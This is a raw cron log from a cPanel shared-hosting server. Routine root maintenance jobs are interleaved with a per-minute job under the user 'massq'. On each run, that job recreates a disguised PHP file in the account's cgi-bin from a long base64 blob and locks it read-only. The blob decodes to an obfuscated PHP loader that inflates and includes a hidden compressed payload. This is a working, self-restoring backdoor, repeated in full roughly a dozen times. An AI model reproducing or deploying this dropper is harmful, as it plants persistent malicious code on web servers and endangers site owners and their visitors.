Sep  9 20:14:01 server CROND[27847]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:14:01 server CROND[27848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:15:01 server CROND[28233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:15:01 server CROND[28235]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 20:15:01 server CROND[28239]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 20:15:01 server CROND[28237]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 20:15:01 server CROND[28243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:15:01 server CROND[28245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:15:01 server CROND[28238]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 20:15:01 server CROND[28241]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  9 20:15:01 server CROND[28242]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 20:16:01 server CROND[29091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:16:01 server CROND[29092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:16:01 server CROND[29093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:17:01 server CROND[29470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:17:01 server CROND[29471]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:17:01 server CROND[29472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:18:01 server CROND[29949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:18:01 server CROND[29948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:18:01 server CROND[29950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:19:01 server CROND[30371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:19:01 server CROND[30373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:19:01 server CROND[30372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:20:01 server CROND[30767]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 20:20:01 server CROND[30773]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 20:20:01 server CROND[30783]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 20:20:01 server CROND[30784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:20:01 server CROND[30786]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 20:20:01 server CROND[30788]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 20:20:01 server CROND[30785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:20:01 server CROND[30789]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:20:01 server CROND[30787]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 20:21:01 server CROND[31672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:21:01 server CROND[31673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:21:01 server CROND[31674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:22:01 server CROND[32064]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:22:01 server CROND[32065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:22:01 server CROND[32066]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:23:01 server CROND[32539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:23:01 server CROND[32540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:23:01 server CROND[32541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:24:01 server CROND[465]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:24:01 server CROND[466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:24:01 server CROND[467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:25:01 server CROND[892]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 20:25:01 server CROND[894]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 20:25:01 server CROND[896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:25:01 server CROND[899]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  9 20:25:01 server CROND[895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:25:01 server CROND[900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:25:01 server CROND[901]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
